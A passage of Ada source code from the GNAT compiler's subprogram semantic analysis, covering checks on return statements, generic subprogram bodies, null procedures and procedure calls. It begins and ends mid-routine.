(R_Type) and then Is_Build_In_Place_Function (Scope_Id) and then Needs_BIP_Alloc_Form (Scope_Id) and then Nkind (Expr) in N_Aggregate | N_Extension_Aggregate then Preanalyze (Obj_Decl); if Expander_Active then Ensure_Activation_Chain_And_Master (Obj_Decl); end if; else Analyze (Obj_Decl); end if; Check_Return_Subtype_Indication (Obj_Decl); if Present (HSS) then Analyze (HSS); if Present (Exception_Handlers (HSS)) then -- ???Has_Nested_Block_With_Handler needs to be set. -- Probably by creating an actual N_Block_Statement. -- Probably in Expand. null; end if; end if; -- Mark the return object as referenced, since the return is an -- implicit reference of the object. Set_Referenced (Defining_Identifier (Obj_Decl)); Check_References (Stm_Entity); Check_Return_Construct_Accessibility (N); -- Check RM 6.5 (5.9/3) if Has_Aliased then if Ada_Version < Ada_2012 and then Warn_On_Ada_2012_Compatibility then Error_Msg_N ("ALIASED only allowed for limited return objects " & "in Ada 2012?y?", N); elsif not Is_Limited_View (R_Type) then Error_Msg_N ("ALIASED only allowed for limited return objects", N); end if; end if; -- Ada 2022 (AI12-0269): Any return statement that applies to a -- nonreturning function shall be a simple_return_statement. if Ada_Version >= Ada_2022 and then No_Return (Scope_Id) and then Comes_From_Source (N) then Error_Msg_N ("extended RETURN statement not allowed in No_Return " & "function", N); end if; end; end if; -- Case of Expr present if Present (Expr) then -- Defend against previous errors if Nkind (Expr) = N_Empty or else No (Etype (Expr)) then return; end if; -- Apply constraint check. Note that this is done before the implicit -- conversion of the expression done for anonymous access types to -- ensure correct generation of the null-excluding check associated -- with null-excluding expressions found in return statements. We -- don't need a check if the subtype of the return object is the -- same as the result subtype of the function. if Nkind (N) /= N_Extended_Return_Statement or else Nkind (Obj_Decl) /= N_Object_Declaration or else Nkind (Object_Definition (Obj_Decl)) not in N_Has_Entity or else Entity (Object_Definition (Obj_Decl)) /= R_Type then Apply_Constraint_Check (Expr, R_Type); end if; -- The return value is converted to the return type of the function, -- which implies a predicate check if the return type is predicated. -- We do not apply the check for an extended return statement because -- Analyze_Object_Declaration has already done it on Obj_Decl above. -- We do not apply the check to a case expression because it will -- be expanded into a series of return statements, each of which -- will receive a predicate check. if Nkind (N) /= N_Extended_Return_Statement and then Nkind (Expr) /= N_Case_Expression then Apply_Predicate_Check (Expr, R_Type); end if; -- Ada 2005 (AI-318-02): When the result type is an anonymous access -- type, apply an implicit conversion of the expression to that type -- to force appropriate static and run-time accessibility checks. -- But we want to apply the checks to an extended return statement -- only once, i.e. not to the simple return statement generated at -- the end of its expansion because, prior to leaving the function, -- the accessibility level of the return object changes to be a level -- determined by the point of call (RM 3.10.2(10.8/3)). if Ada_Version >= Ada_2005 and then Ekind (R_Type) = E_Anonymous_Access_Type and then (Nkind (N) = N_Extended_Return_Statement or else not Comes_From_Extended_Return_Statement (N)) then Rewrite (Expr, Convert_To (R_Type, Relocate_Node (Expr))); Analyze_And_Resolve (Expr, R_Type); -- If this is a local anonymous access to subprogram, the -- accessibility check can be applied statically. The return is -- illegal if the access type of the return expression is declared -- inside of the subprogram (except if it is the subtype indication -- of an extended return statement). elsif Ekind (R_Type) = E_Anonymous_Access_Subprogram_Type then if not Comes_From_Source (Current_Scope) or else Ekind (Current_Scope) = E_Return_Statement then null; elsif Scope_Depth (Scope (Etype (Expr))) >= Scope_Depth (Scope_Id) then Error_Msg_N ("cannot return local access to subprogram", N); end if; -- The expression cannot be of a formal incomplete type elsif Ekind (Etype (Expr)) = E_Incomplete_Type and then Is_Generic_Type (Etype (Expr)) then Error_Msg_N ("cannot return expression of a formal incomplete type", N); end if; -- If the result type is class-wide, then check that the return -- expression's type is not declared at a deeper level than the -- function (RM05-6.5(5.6/2)). if Ada_Version >= Ada_2005 and then Is_Class_Wide_Type (R_Type) then if Type_Access_Level (Etype (Expr)) > Subprogram_Access_Level (Scope_Id) then Error_Msg_N ("level of return expression type is deeper than " & "class-wide function!", Expr); end if; end if; -- Check incorrect use of dynamically tagged expression if Is_Tagged_Type (R_Type) then Check_Dynamically_Tagged_Expression (Expr => Expr, Typ => R_Type, Related_Nod => N); end if; -- Perform static accessibility checks for cases involving -- dereferences of access parameters. Runtime accessibility checks -- get generated elsewhere. if (Ada_Version < Ada_2005 or else Debug_Flag_Dot_L) and then Is_Limited_View (Etype (Scope_Id)) and then Static_Accessibility_Level (Expr, Zero_On_Dynamic_Level) > Subprogram_Access_Level (Scope_Id) then -- Suppress the message in a generic, where the rewriting -- is irrelevant. if Inside_A_Generic then null; else Rewrite (N, Make_Raise_Program_Error (Loc, Reason => PE_Accessibility_Check_Failed)); Analyze (N); Error_Msg_Warn := SPARK_Mode /= On; Error_Msg_N ("cannot return a local value by reference<<", N); Error_Msg_N ("\Program_Error [<<", N); end if; end if; if Known_Null (Expr) and then Nkind (Parent (Scope_Id)) = N_Function_Specification and then Null_Exclusion_Present (Parent (Scope_Id)) then Apply_Compile_Time_Constraint_Error (N => Expr, Msg => "(Ada 2005) null not allowed for " & "null-excluding return??", Reason => CE_Null_Not_Allowed); end if; -- RM 6.5 (5.4/3): accessibility checks also apply if the return object -- has no initializing expression. elsif Ada_Version > Ada_2005 and then Is_Class_Wide_Type (R_Type) then if Type_Access_Level (Etype (Defining_Identifier (Obj_Decl))) > Subprogram_Access_Level (Scope_Id) then Error_Msg_N ("level of return expression type is deeper than " & "class-wide function!", Obj_Decl); end if; end if; end Analyze_Function_Return; ------------------------------------- -- Analyze_Generic_Subprogram_Body -- ------------------------------------- procedure Analyze_Generic_Subprogram_Body (N : Node_Id; Gen_Id : Entity_Id) is Gen_Decl : constant Node_Id := Unit_Declaration_Node (Gen_Id); Kind : constant Entity_Kind := Ekind (Gen_Id); Body_Id : Entity_Id; New_N : Node_Id; Spec : Node_Id; begin -- Copy body and disable expansion while analyzing the generic For a -- stub, do not copy the stub (which would load the proper body), this -- will be done when the proper body is analyzed. if Nkind (N) /= N_Subprogram_Body_Stub then New_N := Copy_Generic_Node (N, Empty, Instantiating => False); Rewrite (N, New_N); -- Once the contents of the generic copy and the template are -- swapped, do the same for their respective aspect specifications. Exchange_Aspects (N, New_N); -- Collect all contract-related source pragmas found within the -- template and attach them to the contract of the subprogram body. -- This contract is used in the capture of global references within -- annotations. Create_Generic_Contract (N); Start_Generic; end if; Spec := Specification (N); -- Within the body of the generic, the subprogram is callable, and -- behaves like the corresponding non-generic unit. Body_Id := Defining_Entity (Spec); if Kind = E_Generic_Procedure and then Nkind (Spec) /= N_Procedure_Specification then Error_Msg_N ("invalid body for generic procedure", Body_Id); return; elsif Kind = E_Generic_Function and then Nkind (Spec) /= N_Function_Specification then Error_Msg_N ("invalid body for generic function", Body_Id); return; end if; Set_Corresponding_Body (Gen_Decl, Body_Id); if Has_Completion (Gen_Id) and then Nkind (Parent (N)) /= N_Subunit then Error_Msg_N ("duplicate generic body", N); return; else Set_Has_Completion (Gen_Id); end if; if Nkind (N) = N_Subprogram_Body_Stub then Mutate_Ekind (Defining_Entity (Specification (N)), Kind); else Set_Corresponding_Spec (N, Gen_Id); end if; if Nkind (Parent (N)) = N_Compilation_Unit then Set_Cunit_Entity (Current_Sem_Unit, Defining_Entity (N)); end if; -- Make generic parameters immediately visible in the body. They are -- needed to process the formals declarations. Then make the formals -- visible in a separate step. Push_Scope (Gen_Id); declare E : Entity_Id; First_Ent : Entity_Id; begin First_Ent := First_Entity (Gen_Id); E := First_Ent; while Present (E) and then not Is_Formal (E) loop Install_Entity (E); Next_Entity (E); end loop; Set_Use (Generic_Formal_Declarations (Gen_Decl)); -- Now generic formals are visible, and the specification can be -- analyzed, for subsequent conformance check. Body_Id := Analyze_Subprogram_Specification (Spec); -- Make formal parameters visible if Present (E) then -- E is the first formal parameter, we loop through the formals -- installing them so that they will be visible. Set_First_Entity (Gen_Id, E); while Present (E) loop Install_Entity (E); Next_Formal (E); end loop; end if; -- Visible generic entity is callable within its own body Mutate_Ekind (Gen_Id, Ekind (Body_Id)); Reinit_Field_To_Zero (Body_Id, F_Has_Out_Or_In_Out_Parameter, Old_Ekind => (E_Function | E_Procedure | E_Generic_Function | E_Generic_Procedure => True, others => False)); Mutate_Ekind (Body_Id, E_Subprogram_Body); Set_Convention (Body_Id, Convention (Gen_Id)); Set_Is_Obsolescent (Body_Id, Is_Obsolescent (Gen_Id)); Set_Scope (Body_Id, Scope (Gen_Id)); Check_Fully_Conformant (Body_Id, Gen_Id, Body_Id); if Nkind (N) = N_Subprogram_Body_Stub then -- No body to analyze, so restore state of generic unit Mutate_Ekind (Gen_Id, Kind); Mutate_Ekind (Body_Id, Kind); if Present (First_Ent) then Set_First_Entity (Gen_Id, First_Ent); end if; End_Scope; return; end if; -- If this is a compilation unit, it must be made visible explicitly, -- because the compilation of the declaration, unlike other library -- unit declarations, does not. If it is not a unit, the following -- is redundant but harmless. Set_Is_Immediately_Visible (Gen_Id); Reference_Body_Formals (Gen_Id, Body_Id); if Is_Child_Unit (Gen_Id) then Generate_Reference (Gen_Id, Scope (Gen_Id), 'k', False); end if; Set_Actual_Subtypes (N, Current_Scope); Set_SPARK_Pragma (Body_Id, SPARK_Mode_Pragma); Set_SPARK_Pragma_Inherited (Body_Id); -- Analyze any aspect specifications that appear on the generic -- subprogram body. if Has_Aspects (N) then Analyze_Aspects_On_Subprogram_Body_Or_Stub (N); end if; Analyze_Declarations (Declarations (N)); Check_Completion; -- Process the contract of the subprogram body after all declarations -- have been analyzed. This ensures that any contract-related pragmas -- are available through the N_Contract node of the body. Analyze_Entry_Or_Subprogram_Body_Contract (Body_Id); Analyze (Handled_Statement_Sequence (N)); Save_Global_References (Original_Node (N)); -- Prior to exiting the scope, include generic formals again (if any -- are present) in the set of local entities. if Present (First_Ent) then Set_First_Entity (Gen_Id, First_Ent); end if; Check_References (Gen_Id); end; Process_End_Label (Handled_Statement_Sequence (N), 't', Current_Scope); Update_Use_Clause_Chain; Validate_Categorization_Dependency (N, Gen_Id); End_Scope; Check_Subprogram_Order (N); -- Outside of its body, unit is generic again Reinit_Field_To_Zero (Gen_Id, F_Has_Nested_Subprogram, Old_Ekind => (E_Function | E_Procedure => True, others => False)); Mutate_Ekind (Gen_Id, Kind); Generate_Reference (Gen_Id, Body_Id, 'b', Set_Ref => False); if Style_Check then Style.Check_Identifier (Body_Id, Gen_Id); end if; End_Generic; end Analyze_Generic_Subprogram_Body; ---------------------------- -- Analyze_Null_Procedure -- ---------------------------- -- WARNING: This routine manages Ghost regions. Return statements must be -- replaced by gotos that jump to the end of the routine and restore the -- Ghost mode. procedure Analyze_Null_Procedure (N : Node_Id; Is_Completion : out Boolean) is Loc : constant Source_Ptr := Sloc (N); Spec : constant Node_Id := Specification (N); Saved_GM : constant Ghost_Mode_Type := Ghost_Mode; Saved_IGR : constant Node_Id := Ignored_Ghost_Region; Saved_ISMP : constant Boolean := Ignore_SPARK_Mode_Pragmas_In_Instance; -- Save the Ghost and SPARK mode-related data to restore on exit Designator : Entity_Id; Form : Node_Id; Null_Body : Node_Id := Empty; Null_Stmt : Node_Id := Null_Statement (Spec); Prev : Entity_Id; begin Prev := Current_Entity_In_Scope (Defining_Entity (Spec)); -- A null procedure is Ghost when it is stand-alone and is subject to -- pragma Ghost, or when the corresponding spec is Ghost. Set the mode -- now, to ensure that any nodes generated during analysis and expansion -- are properly marked as Ghost. if Present (Prev) then Mark_And_Set_Ghost_Body (N, Prev); end if; -- Capture the profile of the null procedure before analysis, for -- expansion at the freeze point and at each point of call. The body is -- used if the procedure has preconditions, or if it is a completion. In -- the first case the body is analyzed at the freeze point, in the other -- it replaces the null procedure declaration. -- For a null procedure that comes from source, a NULL statement is -- provided by the parser, which carries the source location of the -- NULL keyword, and has Comes_From_Source set. For a null procedure -- from expansion, create one now. if No (Null_Stmt) then Null_Stmt := Make_Null_Statement (Loc); end if; Null_Body := Make_Subprogram_Body (Loc, Specification => New_Copy_Tree (Spec), Declarations => New_List, Handled_Statement_Sequence => Make_Handled_Sequence_Of_Statements (Loc, Statements => New_List (Null_Stmt))); -- Create new entities for body and formals Set_Defining_Unit_Name (Specification (Null_Body), Make_Defining_Identifier (Sloc (Defining_Entity (N)), Chars (Defining_Entity (N)))); Form := First (Parameter_Specifications (Specification (Null_Body))); while Present (Form) loop Set_Defining_Identifier (Form, Make_Defining_Identifier (Sloc (Defining_Identifier (Form)), Chars (Defining_Identifier (Form)))); Next (Form); end loop; -- Determine whether the null procedure may be a completion of a generic -- suprogram, in which case we use the new null body as the completion -- and set minimal semantic information on the original declaration, -- which is rewritten as a null statement. if Present (Prev) and then Is_Generic_Subprogram (Prev) then Insert_Before (N, Null_Body); Mutate_Ekind (Defining_Entity (N), Ekind (Prev)); Rewrite (N, Make_Null_Statement (Loc)); Analyze_Generic_Subprogram_Body (Null_Body, Prev); Is_Completion := True; goto Leave; else -- Resolve the types of the formals now, because the freeze point may -- appear in a different context, e.g. an instantiation. Form := First (Parameter_Specifications (Specification (Null_Body))); while Present (Form) loop if Nkind (Parameter_Type (Form)) /= N_Access_Definition then Find_Type (Parameter_Type (Form)); elsif No (Access_To_Subprogram_Definition (Parameter_Type (Form))) then Find_Type (Subtype_Mark (Parameter_Type (Form))); -- The case of a null procedure with a formal that is an -- access-to-subprogram type, and that is used as an actual -- in an instantiation is left to the enthusiastic reader. else null; end if; Next (Form); end loop; end if; -- If there are previous overloadable entities with the same name, check -- whether any of them is completed by the null procedure. if Present (Prev) and then Is_Overloadable (Prev) then Designator := Analyze_Subprogram_Specification (Spec); Prev := Find_Corresponding_Spec (N); end if; if No (Prev) or else not Comes_From_Source (Prev) then Designator := Analyze_Subprogram_Specification (Spec); Set_Has_Completion (Designator); -- Signal to caller that this is a procedure declaration Is_Completion := False; -- Null procedures are always inlined, but generic formal subprograms -- which appear as such in the internal instance of formal packages, -- need no completion and are not marked Inline. if Expander_Active and then Nkind (N) /= N_Formal_Concrete_Subprogram_Declaration then Set_Corresponding_Body (N, Defining_Entity (Null_Body)); Set_Body_To_Inline (N, Null_Body); Set_Is_Inlined (Designator); end if; else -- The null procedure is a completion. We unconditionally rewrite -- this as a null body (even if expansion is not active), because -- there are various error checks that are applied on this body -- when it is analyzed (e.g. correct aspect placement). if Has_Completion (Prev) then Error_Msg_Sloc := Sloc (Prev); Error_Msg_NE ("duplicate body for & declared#", N, Prev); end if; Check_Previous_Null_Procedure (N, Prev); Is_Completion := True; Rewrite (N, Null_Body); Analyze (N); end if; <<Leave>> Ignore_SPARK_Mode_Pragmas_In_Instance := Saved_ISMP; Restore_Ghost_Region (Saved_GM, Saved_IGR); end Analyze_Null_Procedure; ----------------------------- -- Analyze_Operator_Symbol -- ----------------------------- -- An operator symbol such as "+" or "and" may appear in context where the -- literal denotes an entity name, such as "+"(x, y) or in context when it -- is just a string, as in (conjunction = "or"). In these cases the parser -- generates this node, and the semantics does the disambiguation. Other -- such case are actuals in an instantiation, the generic unit in an -- instantiation, pragma arguments, and aspect specifications. procedure Analyze_Operator_Symbol (N : Node_Id) is Par : constant Node_Id := Parent (N); Maybe_Aspect_Spec : Node_Id := Par; begin if Nkind (Maybe_Aspect_Spec) /= N_Aspect_Specification then -- deal with N_Aggregate nodes Maybe_Aspect_Spec := Parent (Maybe_Aspect_Spec); end if; if (Nkind (Par) = N_Function_Call and then N = Name (Par)) or else Nkind (Par) = N_Function_Instantiation or else (Nkind (Par) = N_Indexed_Component and then N = Prefix (Par)) or else (Nkind (Par) = N_Pragma_Argument_Association and then not Is_Pragma_String_Literal (Par)) or else Nkind (Par) = N_Subprogram_Renaming_Declaration or else (Nkind (Par) = N_Attribute_Reference and then Attribute_Name (Par) /= Name_Value) or else (Nkind (Maybe_Aspect_Spec) = N_Aspect_Specification and then Get_Aspect_Id (Maybe_Aspect_Spec) -- Include aspects that can be specified by a -- subprogram name, which can be an operator. in Aspect_Stable_Properties | Aspect_Integer_Literal | Aspect_Real_Literal | Aspect_String_Literal | Aspect_Aggregate) then Find_Direct_Name (N); else Change_Operator_Symbol_To_String_Literal (N); Analyze (N); end if; end Analyze_Operator_Symbol; ----------------------------------- -- Analyze_Parameter_Association -- ----------------------------------- procedure Analyze_Parameter_Association (N : Node_Id) is begin Analyze (Explicit_Actual_Parameter (N)); end Analyze_Parameter_Association; ---------------------------- -- Analyze_Procedure_Call -- ---------------------------- -- WARNING: This routine manages Ghost regions. Return statements must be -- replaced by gotos that jump to the end of the routine and restore the -- Ghost mode. procedure Analyze_Procedure_Call (N : Node_Id) is procedure Analyze_Call_And_Resolve; -- Do Analyze and Resolve calls for procedure call. At the end, check -- for illegal order dependence. -- ??? where is the check for illegal order dependencies? ------------------------------ -- Analyze_Call_And_Resolve -- ------------------------------ procedure Analyze_Call_And_Resolve is begin if Nkind (N) = N_Procedure_Call_Statement then Analyze_Call (N); Resolve (N, Standard_Void_Type); else Analyze (N); end if; end Analyze_Call_And_Resolve; -- Local variables Actuals : constant List_Id := Parameter_Associations (N); Loc : constant Source_Ptr := Sloc (N); P : constant Node_Id := Name (N); Saved_GM : constant Ghost_Mode_Type := Ghost_Mode; Saved_IGR : constant Node_Id := Ignored_Ghost_Region; -- Save the Ghost-related attributes to restore on exit Actual : Node_Id; New_N : Node_Id; -- Start of processing for Analyze_Procedure_Call begin -- The syntactic construct: PREFIX ACTUAL_PARAMETER_PART can denote -- a procedure call or an entry call. The prefix may denote an access -- to subprogram type, in which case an implicit dereference applies. -- If the prefix is an indexed component (without implicit dereference) -- then the construct denotes a call to a member of an entire family. -- If the prefix is a simple name, it may still denote a call to a -- parameterless member of an entry family. Resolution of these various -- interpretations is delicate. -- Do not analyze machine code statements to avoid rejecting them in -- CodePeer mode. if CodePeer_Mode and then Nkind (P) = N_Qualified_Expression then Set_Etype (P, Standard_Void_Type); else Analyze (P); end if; -- If this is a call of the form Obj.Op, the call may have been analyzed -- and possibly rewritten into a block, in which case we are done. if Analyzed (N) then return; -- If there is an error analyzing the name (which may have been -- rewritten if the original call was in prefix notation) then error -- has been emitted already, mark node and return. elsif Error_Posted (N) or else Etype (Name (N)) = Any_Type then Set_Etype (N, Any_Type); return; end if; -- A procedure call is Ghost when its name denotes a Ghost procedure. -- Set the mode now to ensure that any nodes generated during analysis -- and expansion are properly marked as Ghost. Mark_And_Set_Ghost_Procedure_Call (N); -- Otherwise analyze the parameters if Present (Actuals) then Actual := First (Actuals); while Present (Actual) loop Analyze (Actual); Check_Parameterless_Call (Actual); Next (Actual); end loop; end if; -- Special processing for Elab_Spec, Elab_Body and Elab_Subp_Body calls if Nkind (P) = N_Attribute_Reference and then Attribute_Name (P) in Name_Elab_Spec | Name_Elab_Body | Name_Elab_Subp_Body then if Present (Actuals) then Error_Msg_N ("no parameters allowed for this call", First (Actuals)); goto Leave; end if; Set_Etype (N, Standard_Void_Type); Set_Analyzed (N); elsif Is_Entity_Name (P) and then Is_Record_Type (Etype (Entity (P))) and then Remote_AST_I_Dereference (P) then goto Leave; elsif Is_Entity_Name (P) and then Ekind (Entity (P)) /= E_Entry_Family then if Is_Access_Type (Etype (P)) and then Ekind (Designated_Type (Etype (P))) = E_Subprogram_Type and then No (Actuals) and then Comes_From_Source (N) then Error_Msg_N ("missing explicit dereference in call", N); elsif Ekind (Entity (P)) = E_Operator then Error_Msg_Name_1 := Chars (P); Error_Msg_N ("operator % cannot be used as a procedure", N); end if; Analyze_Call_And_Resolve; -- If the prefix is the simple name of an entry family, this is a -- parameterless call from within the task body itself. elsif Is_Entity_Name (P) and then Nkind (P) = N_Identifier and then Ekind (Entity (P)) = E_Entry_Family and then Present (Actuals) and then No (Next (First (Actuals))) then -- Can be call to parameterless entry family. What appears to be the -- sole argument is in fact the entry index. Rewrite prefix of node -- accordingly. Source representation is unchanged by this -- transformation. New_N := Make_Indexed_Component (Loc, Prefix => Make_Selected_Component (Loc, Prefix => New_Occurrence_Of (Scope (Entity (P)), Loc), Selector_Name => New_Occurrence_Of (Entity (P), Loc)), Expressions => Actuals); Set_Name (N, New_N); Set_Etype (New_N, Standard_Void_Type); Set_Parameter_Associations (N, No_List); Analyze_Call_And_Resolve; elsif Nkind (P) = N_Explicit_Dereference then if Ekind (Etype (P)) = E_Subprogram_Type then Analyze_Call_And_Resolve; else Error_Msg_N ("expect access to procedure in call", P); end if; -- The name can be a selected component or an indexed component that -- yields an access to subprogram. Such a prefix is legal if the call -- has parameter associations. elsif Is_Access_Type (Etype (P)) and then Ekind (Designated_Type (Etype (P))) = E_Subprogram_Type then if Present (Actuals) then Analyze_Call_And_Resolve; else Error_Msg_N ("missing explicit dereference in call", N); end if; -- If not an access to subprogram, then the prefix must resolve to the -- name of an entry, entry family, or protected operation. -- For the case of a simple entry call, P is a selected component where -- the prefix is the task and the selector name is the entry. A call to -- a protected procedure will have the same syntax. If the protected -- object contains overloaded operations, the entity may appear as a -- function, the context will select the operation whose type is Void. elsif Nkind (P) = N_Selected_Component and then Ekind (Entity (Selector_Name (P))) in E_Entry | E_Function | E_Procedure then -- When front-end inlining is enabled, as with SPARK_Mode, a call -- in prefix notation may still be missing its controlling argument, -- so perform the transformation now. if SPARK_Mode = On and then In_Inlined_Body then declare Subp : constant Entity_Id := Entity (Selector_Name (P)); Typ : constant Entity_Id := Etype (Prefix (P)); begin if Is_Tagged_Type (Typ) and then Present (First_Formal (Subp)) and then (Etype (First_Formal (Subp)) = Typ or else Class_Wide_Type (Etype (First_Formal (Subp))) = Typ) and then Try_Object_Operation (P) then return; else Analyze_Call_And_Resolve; end if; end; else Analyze_Call_And_Resolve; end if; elsif Nkind (P) = N_Selected_Component and then Ekind (Entity (Selector_Name (P))) = E_Entry_Family and then Present (Actuals) and then No (Next (First (Actuals))) then -- Can be call to parameterless entry family. What appears to be the -- sole argument is in fact the entry index. Rewrite prefix of node -- accordingly. Source representation is unchanged by this -- transformation. New_N := Make_Indexed_Component (Loc, Prefix => New_Copy (P), Expressions => Actuals); Set_Name (N, New_N); Set_Etype (New_N, Standard_Void_Type); Set_Parameter_Associations (N, No_List); Analyze_Call_And_Resolve; -- For the case of a reference to an element of an entry family, P is -- an indexed component whose prefix is a selected component (task and -- entry family), and whose index is the entry family index. elsif Nkind (P) = N_Indexed_Component and then Nkind (Prefix (P)) = N_Selected_Component and then Ekind (Entity (Selector_Name (Prefix (P)))) = E_Entry_Family then Analyze_Call_And_Resolve; -- If the prefix is the name of an entry family, it is a call from -- within the task body itself. elsif Nkind (P) = N_Indexed_Component and then Nkind (Prefix (P)) = N_Identifier and then Ekind (Entity (Prefix (P))) = E_Entry_Family then New_N := Make_Selected_Component (Loc, Prefix => New_Occurrence_Of (Scope (Entity (Prefix (P))), Loc), Selector_Name => New_Occurrence_Of (Entity (Prefix (P)), Loc)); Rewrite (Prefix (P), New_N); Analyze (P); Analyze_Call_And_Resolve; -- In Ada 2012. a qualified expression is a name, but it cannot be a -- procedure name, so the construct can only be a qualified expression. elsif Nkind (P) = N_Qualified_Expression and then Ada_Version >= Ada_2012 then Rewrite (N, Make_Code_Statement (Loc, Expression => P)); Analyze (N); -- Anything else is an error else Error_Msg_N ("invalid procedure or entry call", N); -- Specialize the error message in the case where both a primitive -- operation and a record component are visible at the same time. if Nkind (P) = N_Selected_Component and then Is_Entity_Name (Selector_Name (P)) then declare Sel : constant Entity_Id := Entity (Selector_Name (P)); begin if Ekind (Sel) = E_Component and then Present (Homonym (Sel)) and then Ekind (Homonym (Sel)) = E_Procedure then Error_Msg_NE ("\component & conflicts with" & " homonym procedure (RM 4.1.3 (9.2/3))", Selector_Name (P), Sel); end if; end; end if; end if; <<Leave>> Restore_Ghost_Region (Saved_GM, Saved_IGR); end Analyze_Procedure_Call; ------------------------------ -- Analyze_Return_Statement -- ------------------------------ procedure Analyze_Return_Statement (N : Node_Id) is pragma Assert (Nkind (N) in N_Extended_Return_Statement | N_Simple_Return_Statement); Returns_Object : constant Boolean := Nkind (N) = N_Extended_Return_Statement or else (Nkind (N) = N_Simple_Return_Statement and then Present (Expression (N))); -- True if we're returning something; that is, "return <expression>;" -- or "return Result : T [:= ...]". False for "return;". Used for error -- checking: If Returns_Object is True, N should apply to a function -- body; otherwise N should apply to a procedure body, entry body, -- accept statement, or extended return statement. function Find_What_It_Applies_To return Entity_Id; -- Find the entity representing the innermost enclosing body, accept -- statement, or extended return statement. If the result is a callable -- construct or extended return statement, then this will be the value -- of the Return_Applies_To attribute. Otherwise, the program is -- illegal. See RM-6.5(4/2). ----------------------------- -- Find_What_It_Applies_To -- ----------------------------- function Find_What_It_Applies_To return Entity_Id is Result : Entity_Id := Empty; begin -- Loop outward through the Scope_Stack, skipping blocks, and loops for J in reverse 0 .. Scope_Stack.Last loop Result := Scope_Stack.Table (J).Entity; exit when Ekind (Result) not in E_Block | E_Loop; end loop; pragma Assert (Present (Result)); return Result; end Find_What_It_Applies_To; -- Local declarations Scope_Id : constant Entity_Id := Find_What_It_Applies_To; Kind : constant Entity_Kind := Ekind (Scope_Id); Loc : constant Source_Ptr := Sloc (N); Stm_Entity : constant Entity_Id := New_Internal_Entity (E_Return_Statement, Current_Scope, Loc, 'R'); -- Start of processing for Analyze_Return_Statement begin Set_Return_Statement_Entity (N, Stm_Entity); Set_Etype (Stm_Entity, Standard_Void_Type); Set_Return_Applies_To (Stm_Entity, Scope_Id); -- Place Return entity on scope stack, to simplify enforcement of 6.5 -- (4/2): an inner return statement will apply to this extended return. if Nkind (N) = N_Extended_Return_Statement then Push_Scope (Stm_Entity); end if; -- Check that pragma No_Return is obeyed. Don't complain about the -- implicitly-generated return that is placed at the end. if No_Return (Scope_Id) and then Kind in E_Procedure | E_Generic_Procedure and then Comes_From_Source (N) then Error_Msg_N ("RETURN statement not allowed in No_Return procedure", N); end if; -- Warn on any unassigned OUT parameters if in procedure if Ekind (Scope_Id) = E_Procedure then Warn_On_Unassigned_Out_Parameter (N, Scope_Id); end if; -- Check that functions return objects, and other things do not if Kind in E_Function | E_Generic_Function then if not Returns_Object then Error_Msg_N ("missing expression in return from function", N); end if; elsif Kind in E_Procedure | E_Generic_Procedure then if Returns_Object then Error_Msg_N ("procedure cannot return value (use function)", N); end if; elsif Kind in E_Entry | E_Entry_Family then if Returns_Object then if Is_Protected_Type (Scope (Scope_Id)) then Error_Msg_N ("entry body cannot return value", N); else Error_Msg_N ("accept statement cannot return value", N); end if; end if; elsif Kind = E_Return_Statement then -- We are nested within another return statement, which must be an -- extended_return_statement. if Returns_Object then if Nkind (N) = N_Extended_Return_Statement then Error_Msg_N ("extended return statement cannot be nested (use `RETURN;`)", N); -- Case of a simple return statement with a value inside extended -- return statement. else Error_Msg_N ("return nested in extended return statement cannot return " & "value (use `RETURN;`)", N); end if; end if; else Error_Msg_N ("illegal context for return statement", N); end if; if Kind in E_Function | E_Generic_Function then Analyze_Function_Return (N); elsif Kind in E_Procedure | E_Generic_Procedure then Set_Return_Present (Scope_Id); end if; if Nkind (N) = N_Extended_Return_Statement then End_Scope; end if; Kill_Current_Values (Last_Assignment_Only => True); Check_Unreachable_Code (N); Analyze_Dimension (N); end Analyze_Return_Statement; ----------------------------------- -- Analyze_Return_When_Statement -- ----------------------------------- procedure Analyze_Return_When_Statement (N : Node_Id) is begin -- Verify the condition is a Boolean expression Analyze_And_Resolve (Condition (N), Any_Boolean); Check_Unset_Reference (Condition (N)); end Analyze_Return_When_Statement; ------------------------------------- -- Analyze_Simple_Return_Statement -- ------------------------------------- procedure Analyze_Simple_Return_Statement (N : Node_Id) is begin if Present (Expression (N)) then Mark_Coextensions (N, Expression (N)); end if; Analyze_Return_Statement (N); end Analyze_Simple_Return_Statement; ------------------------- -- Analyze_Return_Type -- ------------------------- procedure Analyze_Return_Type (N : Node_Id) is Designator : constant Entity_Id := Defining_Entity (N); Typ : Entity_Id := Empty; begin -- Normal case where result definition does not indicate an error if Result_Definition (N) /= Error then if Nkind (Result_Definition (N)) = N_Access_Definition then -- Ada 2005 (AI-254): Handle anonymous access to subprograms declare AD : constant Node_Id := Access_To_Subprogram_Definition (Result_Definition (N)); begin if Present (AD) and then Protected_Present (AD) then Typ := Replace_Anonymous_Access_To_Protected_Subprogram (N); else Typ := Access_Definition (N, Result_Definition (N)); end if; end; Set_Parent (Typ, Result_Definition (N)); Set_Is_Local_Anonymous_Access (Typ); Set_Etype (Designator, Typ); -- Ada 2005 (AI-231): Ensure proper usage of null exclusion Null_Exclusion_Static_Checks (N); -- Subtype_Mark case else Find_Type (Result_Definition (N)); Typ := Entity (Result_Definition (N)); Set_Etype (Designator, Typ); -- Ada 2005 (AI-231): Ensure proper usage of null exclusion Null_Exclusion_Static_Checks (N); -- If a null exclusion is imposed on the result type, then create -- a null-excluding itype (an access subtype) and use it as the -- function's Etype. Note that the null exclusion checks are done -- right before this, because they don't get applied to types that -- do not come from source. if Is_Access_Type (Typ) and then Null_Exclusion_Present (N) then Set_Etype (Designator, Create_Null_Excluding_Itype (T => Typ, Related_Nod => N, Scope_Id => Scope (Current_Scope))); -- The new subtype must be elaborated before use because -- it is visible outside of the function. However its base -- type may not be frozen yet, so the reference that will -- force elaboration must be attached to the freezing of -- the base type. -- If the return specification appears on a proper body, -- the subtype will have been created already on the spec. if Is_Frozen (Typ) then if Nkind (Parent (N)) = N_Subprogram_Body and then Nkind (Parent (Parent (N))) = N_Subunit then null; else Build_Itype_Reference (Etype (Designator), Parent (N)); end if; else declare IR : constant Node_Id := Make_Itype_Reference (Sloc (N)); begin Set_Itype (IR, Etype (Designator)); Append_Freeze_Action (Typ, IR); end; end if; else Set_Etype (Designator, Typ); end if; if Ekind (Typ) = E_Incomplete_Type or else (Is_Class_Wide_Type (Typ) and then Ekind (Root_Type (Typ)) = E_Incomplete_Type) then -- AI05-0151: Tagged incomplete types are allowed in all formal -- parts. Untagged incomplete types are not allowed in bodies. -- As a consequence, limited views cannot appear in a basic -- declaration that is itself within a body, because 